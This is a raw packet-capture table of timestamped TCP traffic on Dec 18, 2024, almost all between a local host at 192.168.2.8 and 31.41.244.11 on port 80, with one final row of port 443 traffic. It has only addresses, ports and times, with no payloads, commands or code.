Dec 18, 2024 09:07:22.482614040 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.482650995 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.482661963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.482680082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.482691050 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.483486891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.483550072 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.483551025 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.483561993 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.483581066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.483596087 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.484360933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.484417915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.484426022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.484431982 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.484451056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.484462976 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.485024929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.485059977 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.485085964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.485099077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.485121965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.485145092 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.485884905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.485923052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.485965014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.485976934 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.485999107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.486015081 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.486753941 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.486795902 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.486810923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.486821890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.486849070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.486864090 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.487644911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.487677097 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.487687111 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.487689018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.487709045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.487723112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.488509893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.488544941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.488574028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.488585949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.488605022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.488616943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.489343882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.489377022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.489418030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.489429951 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.489448071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.489461899 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.490256071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.490291119 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.490309000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.490319967 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.490336895 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.490349054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.491477013 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.491523981 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.491564035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.491575956 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.491605043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.492052078 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.492073059 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.492084026 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.492105007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.492116928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.492136002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.492150068 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.492840052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.492872953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.492925882 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.492937088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.492957115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.492974043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.493712902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.493752003 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.493985891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.494016886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.494060040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.494071007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.494091034 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.494106054 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.494878054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.494932890 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.494954109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.494966030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.494985104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.494996071 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.495764017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.495800972 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.495834112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.495846033 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.495865107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.495879889 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.496634960 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.496668100 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.496684074 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.496714115 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.496867895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.496900082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.497483969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.497577906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.497589111 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.497608900 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.497659922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.498444080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.498481989 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.498537064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.498548985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.498569012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.498583078 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.499231100 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.499264002 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.499294996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.499305964 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.499324083 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.499445915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.500072002 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.500103951 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.500149012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.500159979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.500179052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.500193119 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.500942945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.500976086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.501034975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.501045942 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.501064062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.501081944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.501873970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.501908064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.501935959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.501946926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.501966000 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.501981020 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.502681017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.502713919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.502778053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.502790928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.502808094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.502823114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.503595114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.503628969 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.503658056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.503671885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.503691912 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.503707886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.504420996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.504453897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.665977001 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.665997028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.666008949 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.666169882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.666169882 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.666229010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.666275024 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.666285038 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.666296959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.666330099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.666346073 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.667114973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.667205095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.667217016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.667273045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.667948961 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.668004036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.668044090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.668056965 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.668090105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.668900967 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.668946028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.668977976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.668989897 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.669019938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.669030905 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.669715881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.669761896 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.669802904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.669814110 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.669847965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.670591116 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.670639038 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.670649052 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.670660973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.670692921 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.671442986 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.671490908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.671524048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.671569109 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.671581984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.671626091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.672353983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.672399044 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.672421932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.672434092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.672462940 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.672482967 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.673265934 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.673276901 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.673290014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.673314095 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.673337936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.674063921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.674113035 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.674134016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.674145937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.674179077 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.674912930 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.674957991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.674988985 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.675000906 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.675035954 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.675920963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.675961971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.675972939 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.675983906 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.676009893 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.676724911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.676764965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.676784992 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.676798105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.676831007 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.677515984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.677560091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.677591085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.677603006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.677637100 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.678410053 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.678453922 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.678499937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.678512096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.678544044 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.679284096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.679327965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.679375887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.679388046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.679419994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.680146933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.680190086 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.680218935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.680232048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.680263042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.681016922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.681062937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.681092024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.681103945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.681137085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.681149006 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.681921959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.681966066 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.682017088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.682028055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.682060957 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.682739973 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.682785988 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.682816029 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.682827950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.682859898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.683603048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.683650017 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.683681011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.683692932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.683726072 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.684514999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.684559107 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.684600115 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.684612036 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.684643030 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.684657097 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.685329914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.685374022 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.685672045 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.685715914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.685720921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.685731888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.685765028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.686573029 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.686636925 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.686672926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.686685085 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.686712980 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.686729908 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.687463999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.687495947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.687506914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.687513113 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.687530994 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.687549114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.688221931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.688265085 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.688348055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.688359022 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.688394070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.689141035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.689183950 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.689202070 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.689213037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.689240932 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.689249992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.690026999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.690071106 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.690190077 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.690201044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.690233946 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.691165924 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.691189051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.691200018 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.691211939 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.691231012 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.691791058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.691833019 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.691867113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.691878080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.691919088 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.692585945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.692629099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.692661047 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.692672014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.692709923 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.693451881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.693496943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.693528891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.693540096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.693572998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.694353104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.694396973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.694422007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.694433928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.694469929 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.695209026 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.695255041 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.695286989 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.695298910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.695329905 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.696048975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:22.696093082 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:22.710150957 CET	443	49716	104.21.23.76	192.168.2.8
